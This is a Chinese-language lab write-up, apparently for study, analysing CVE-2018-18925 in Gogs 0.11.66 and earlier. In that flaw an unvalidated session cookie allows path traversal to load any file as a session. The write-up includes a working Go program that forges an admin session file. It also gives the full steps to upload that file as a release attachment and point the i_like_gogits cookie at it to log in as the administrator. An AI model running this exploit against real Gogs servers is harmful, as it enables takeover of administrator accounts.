漏洞介绍

gogs是一款极易搭建的自助Git服务平台,具有易安装、跨平台、轻量级等特点,使用者众多。

其0.11.66及以前版本中,(go-macaron/session库)没有对sessionid进行校验,攻击者利用恶意sessionid即可读取任意文件,通过控制文件内容来控制session内容,进而登录任意账户。

漏洞范围

Gogs <= 0.11.66

漏洞靶场

使用vulhub的靶场:

使用环境为Gogs 0.11.66

vulhub-master/gogs/CVE-2018-18925/

启动靶场环境:

1
docker-compose up -d

环境启动后,访问http://your-ip:3000,即可看到安装页面。安装时选择sqlite数据库,并开启注册功能。

image-20250603162347435

image-20250603173610076

安装完成后,需要重启服务:docker-compose restart,否则session是存储在内存中的。

漏洞原理

先来看一下补丁代码:

img

代码中通过 ContainsAny() 函数过滤了 ./ 字符,如果存在两个字符中的任意字符则ban掉当前请求,否则继续向下执行。

这里我们通过上级路径的方式进行读取指定目录内的session信息,然后进行身份校验操作。

img

通过Burp抓包,Cookie信息中有一个比较明显的字段i_like_gogits,在代码中全局搜索下方便定位漏洞触发点。

img

gogs/conf/app.ini#L264-L284

这里Gogs的配置文件中指出了session的存储方式,即通过文件的方式存储,存储的目录在 data/sessions ,环境搭好后到这个目录里看一下,结合客户端的cookie信息,比如我

  • 6a493300000000eb ,其存储的目录格式为 6/a/6a493300000000eb 的格式。

相应的代码为:

img

vendor/github.com/go-macaron/session/file.go#L117-L119

img

查看一下该文件的内容,文件内容如下:

img

到这里可以知道其实cookie中i_like_gogits就是这个文件的名字,Gogs就是根据这些session文件实现用户身份认证。

我们把i_like_gogits字段设置为/etc/passwd看会发生什么:Gogs报了500错误。

img

指定一个不存在的文件再看一下返回结果:程序正常执行

img

Bingo!这里可以通过跳到上级目录的方式使Gogs加载任意文件的内容。

这一块,利用方式也就明了了,如果可以指定其加载管理员的session,我们就可以登录管理员的账号了。

翻一下session的生成代码,这里类似序列化、反序列的操作,其处理函数为:

img

gogs/vendor/github.com/go-macaron/cache/utils.go#L23-L32

直接找个服务端生成的session通过DecodeGob()解码下,内容如下:

img

一共有三个变量uname、_old_uid、uid。经过测试发现,我们只要指定uid的值为管理员的uid然后通过EncodeGob()将其转码为既定的格式,存储于服务端,Gogs加载该文件即可登录管理员账号。

通过uid进行鉴权,这块的代码在

img

gogs/pkg/auth/auth.go#L84-L150

通过EncodeGob()生成PoC:

img

为了验证我们的猜想,先把生成的session文件0kee放置于服务器的tmp目录下,发起请求,

Gogs可以加载该session信息,并且伪造管理员登陆:

img

关键问题解决了,为了利用这个漏洞,我们现在需要做的是找到一个上传点把我们构造好的session信息上传至服务器。

那Gogs作为一个Git服务器,找到一个上传点自然是不难了(代码总是要通过各种办法push到服务器上的嘛),先创建一个仓库,然后把我们构造好的session文件上传至仓库中,一番搜索找到了上传代码的存放位置:

img

全局搜索下代码,你会发现这块的逻辑是

img

gogs/models/repo.go#L594-L596

在tmp/local-repo+仓库ID+文件名的形式,那有同学可能就要问了,这个仓库ID是从哪来的,爆破么?当然在仓库量不大的时候通过爆破也不是不行,但是却也不够优雅,看下前端代码,派生操作中即包含这个仓库ID。

img

到了这里,捋一下思路:

  1. 生成伪造的管理员session信息
  2. 通过向仓库中上传文件的方式将伪造的session文件上传至服务端
  3. 找到文件目录,通过cookie中的i_like_gogits字段指定该文件
  4. 成功伪造管理员登陆!

img

img

漏洞复现

使用Gob序列化生成session文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package main

import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"os"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}

func main() {
var uid int64 = 1
obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
return
}

err = os.WriteFile("data", data, 0644)
if err != nil {
fmt.Println(err)
return
}

edata := hex.EncodeToString(data)
fmt.Println("序列化结果 (HEX):")
fmt.Println(edata)
}

会在当前目录生成一个data二进制文件

然后注册一个普通用户账户,创建项目,并在“版本发布”页面上传刚生成的session文件:

image-20250603164638205

image-20250603164740457

image-20250603165615324

image-20250603165728886

image-20250603173045274

通过这个附件的URL,得知这个文件的文件名:./attachments/d95205f3-32a3-4c63-afbb-33c40a45c58c

然后,构造Cookie:i_like_gogits=../attachments/d/9/d95205f3-32a3-4c63-afbb-33c40a45c58c,访问即可发现已经成功登录id=1的用户(即管理员):

注意:i_like_gogits=../attachments/d/9的d和9是文件名的前两个字符

image-20250603184708610

image-20250603184903617

参考

vulhub/gogs/CVE-2018-18925/README.zh-cn.md at master · vulhub/vulhub (github.com)

GOGS/Gitea任意代码执行(CVE-2018-18925/6)及利用流程-先知社区 (aliyun.com)

Gogs 远程命令执行漏洞分析-安全KER - 安全资讯平台 (anquanke.com)